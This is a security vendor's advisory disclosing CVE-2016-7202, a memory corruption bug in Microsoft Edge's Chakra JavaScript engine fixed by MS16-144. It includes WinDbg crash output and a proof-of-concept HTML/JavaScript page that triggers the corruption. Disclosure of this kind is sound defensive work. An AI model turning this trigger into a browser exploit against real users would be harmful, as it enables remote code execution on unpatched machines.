security-assessment.com

Vulnerability Advisory

Name	Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-144)
CVE	CVE-2016-7202
Vendor Website	http://www.microsoft.com/
Date Released	15/12/2016
Affected Software	Microsoft Windows 10 Microsoft Windows Server 2016
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could allow a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(238.f54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=c2ffc883 ebx=6714bf60 ecx=66f1e278 edx=029ca908 esi=6724c710 edi=033fb728
eip=6724c726 esp=033fb724 ebp=033fb734 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
jscript9!Js::RecyclableObjectDisplay::GetVarValue+0x16:
6724c726 8b7008          mov     esi,dword ptr [eax+8] ds:0023:c2ffc88b=????????
1:018> k
ChildEBP RetAddr
033fb734 67045d54 jscript9!Js::RecyclableObjectDisplay::GetVarValue+0x16
033fb764 66fbbefa jscript9!Js::JavascriptConversion::ToPrimitive+0x97
033fb9e0 670ae560 jscript9!Js::JavascriptConversion::ToString+0x1a8
033fba04 670ae4b1 jscript9!Js::JavascriptArray::sort+0x8e
033fba7c 6702f305 jscript9!Js::JavascriptArray::Sort+0x100
033fbac0 66f26965 jscript9!Js::JavascriptArray::EntrySort+0xa1
033fbb08 66f2a511 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
033fbdac 66faeb68 jscript9!Js::InterpreterStackFrame::Process+0x3a10
033fbde4 66faebc7 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49
033fc088 66f2d899 jscript9!Js::InterpreterStackFrame::Process+0x49a8
033fc1b4 02f70f91 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
WARNING: Frame IP not in any known module. Following frames may be wrong.
033fc1c0 66f26965 0x2f70f91
033fc204 66f26f68 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
033fc278 66f26e9d jscript9!Js::JavascriptFunction::CallRootFunction+0xb5
033fc2c0 66f26e30 jscript9!ScriptSite::CallRootFunction+0x42
033fc30c 6701ef78 jscript9!ScriptSite::Execute+0xd2
033fc394 6701e14d jscript9!ScriptEngine::ExecutePendingScripts+0x1c6
033fc428 6701f70a jscript9!ScriptEngine::ParseScriptTextCore+0x300
033fc478 628041be jscript9!ScriptEngine::ParseScriptText+0x5a
033fc4b0 62564795 MSHTML!CActiveScriptHolder::ParseScriptText+0x51
033fc508 62803cdc MSHTML!CJScript9Holder::ParseScriptText+0x5f
033fc578 6256540d MSHTML!CScriptCollection::ParseScriptText+0x175
033fc664 62564fa1 MSHTML!CScriptData::CommitCode+0x31e
033fc6e4 62565b1d MSHTML!CScriptData::Execute+0x232
033fc704 6280008d MSHTML!CHtmScriptParseCtx::Execute+0xed
033fc758 6226bbee MSHTML!CHtmParseBase::Execute+0x201
```

The following proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<html>
<head>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT" />
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5" />
</head>
<body>
<script>
try{
e0 = new Set; t0 = new Uint8ClampedArray; g1 = this; a2 = [];
g1.e0.valueOf = (function() { g1 + t0; return null; });
this.valueOf = (function() { try { a2.unshift(e0, e0, this.e0); } catch(e0) { } var s = 'x';
s.replace(/x/, Math.random, "zzz");  });
Array.prototype.splice.call(a2, e0);
e0 + '';
a2.reverse();
Array.prototype.reverse.call(g1.a2);
this + '';
a2.sort((function(){ function f(){i0 = new Object();i0 = i0|0;}})());
}catch(e){};
</script>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS16-144) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com